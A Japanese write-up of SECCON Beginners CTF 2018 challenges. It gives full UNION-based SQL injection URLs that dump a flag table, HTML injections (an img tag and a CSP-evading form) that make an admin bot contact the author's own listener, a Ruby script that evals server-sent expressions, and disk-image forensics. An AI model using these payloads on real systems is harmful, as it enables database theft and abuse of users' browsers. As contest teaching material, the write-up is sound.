SECCON Beginners CTF 2018 Write-up

初心者向きならwebぐらいなら解けるかなと思い、ぼっちでやってみた。
webとmiscが完答出来たので満足。ついでに他の簡単なのも解けました。

良い感じのwriteupはすでにあるので、そちらが良さそうです
-　[SECCON Beginners CTF 2018 Write-up](https://qiita.com/kusano_k/items/9b74398f5bed2792d736)
-　[SECCON Beginners CTF 2018 write-up](http://zeosutt.hatenablog.com/entry/2018/05/27/140530)

warmup以外を記載

#　Gimme　your comment
「管理者アカウント役のUser-Agentを調べろ」との事。
新規投稿をクリックすると、本文にはタグが何でも入ったので、AWS上のkalilinuxで```sudo nc -l -p 80 ```しておいて、以下でを本文に記載して、kalilinuxにアクセスさせる

```
<img src="http://kalilinuxのIPアドレス">
```

#　SECCON Goods
ページを表示してすると、XHRで以下にアクセスをしていた

- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=0

JSONが帰ってきており、試しに後ろの0を10にすると[]となり、10 or 1 = 1とすると、0の時と同じく正常に帰ってきていそうだったので、SQLiがあると判断

以下のようにorder byの後ろの数値をいじって、カラム数を判断すると５だった

- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20or%201=1%20order%20by%205

あとは、以下でユーザー名とテーブルを調べると

- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()
 
```
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"flag,items"}]
```

ユーザーの権限は弱そうなのでスルー。
flagテーブルが怪しいので、カラム名を以下で取得

- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27

```
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"flag"}]
```

- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),flag%20from%20flag

```
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"ctf4b{cl4551c4l_5ql_1nj3c710n}"}]
```

#　Gimme your comment REVENGE
Gimme your comment同様タグは色々使えるが、以下があるので、期待した事がなかなか出来ない

```
Content-Security-Policy: default-src 'self'
```

管理者アカウントの動作を表すスクリプトファイルが提供されており、ボタンを押すとなっていたのを思い出し、ボタンを押させるため、本文に以下を記載して投稿

```
<form method="get" action="http://kalilnuxのIPアドレス">
  <button type="submit" class="btn btn-primary mb-2">コメント</button>
</form>
```

# てけいさんえくすとりーむず

```ruby
require 'socket'

=begin
http://bias.hateblo.jp/entry/20140517
ポイント：

PythonのようにSocket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)ではなく、TCPSocketを用いる。
recvを用いる。getsだと最後の行まで読み込めない場合がある。
=end

con = TCPSocket.open('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

loop do
  response = con.recv(1000)
  puts response
  calc = response.scan(%r!.*\n([*+/\-0-9 ]+) =!)[-1][0]
  print "          ", calc
  answer = eval(calc)
  puts "=#{answer}"
  con.puts(answer)
end
```

#　Find the messages
イメージファイルが渡されるので、以下で抽出

```bash
root@kali:~/temp/secconBegin2018# binwalk -e disk.img
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

root@kali:~/temp/secconBegin2018# cd _disk.img.extracted/
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls
100000.ext  1101000.ext  1900000.ext  2900000.ext  3900000.ext  900000.ext  ext-root
root@kali:~/temp/secconBegin2018/_disk.img.extracted# fls -r 100000.ext 
d/d 11:	lost+found
d/d 12:	message1
+ r/r 13:	message_1_of_3.txt
d/d 2017:	message2
+ r/r 14:	message_2_of_3.png
d/d 2018:	message3
+ r/r * 15:	message_3_of_3.pdf
d/d 16129:	$OrphanFiles
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/
message1  message2
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/message1/
message_1_of_3.txt
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/message2/
message_2_of_3.png
```

message_2_of_3.pngのファイルの先頭部分が変更されていて表示できなかったので修正

```
root@kali:~/temp/secconBegin2018/_disk.img.extracted# hexedit ext-root/message2/message_2_of_3.png 
00000000   58 58 58 58  58 58 58 58  00 00 00 0D  49 48 44 52  00 00 13 8B  XXXXXXXX....IHDR....
↓
00000000   89 50 4E 47  0D 0A 1A 0A  00 00 00 0D  49 48 44 52  00 00 13 8B  .PNG........IHDR....
```

message_3_of_3.pdfは削除されているのか、出てこなかったが、foremostしたら出てきたので、あとは、３ファイルを開いて終わり

```bash
root@kali:~/temp/secconBegin2018/_disk.img.extracted# icat 100000.ext 15 > hoge.pdf
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls -l
total 241360
-rw-r--r-- 1 root root 66060288 May 27 21:12 100000.ext
-rw-r--r-- 1 root root 49278976 May 27 21:08 1101000.ext
-rw-r--r-- 1 root root 40894464 May 27 21:08 1900000.ext
-rw-r--r-- 1 root root 24117248 May 27 21:08 2900000.ext
-rw-r--r-- 1 root root  7340032 May 27 21:08 3900000.ext
-rw-r--r-- 1 root root 57671680 May 27 21:08 900000.ext
drwxr-xr-x 1 root root      128 May 27 21:08 ext-root
-rw-r--r-- 1 root root        0 May 27 21:14 hoge.pdf

root@kali:~/temp/secconBegin2018# foremost disk.img 
Processing: disk.img
|*|
root@kali:~/temp/secconBegin2018# ls output/
audit.txt  pdf/       
root@kali:~/temp/secconBegin2018# ls output/pdf/
00018946.pdf
```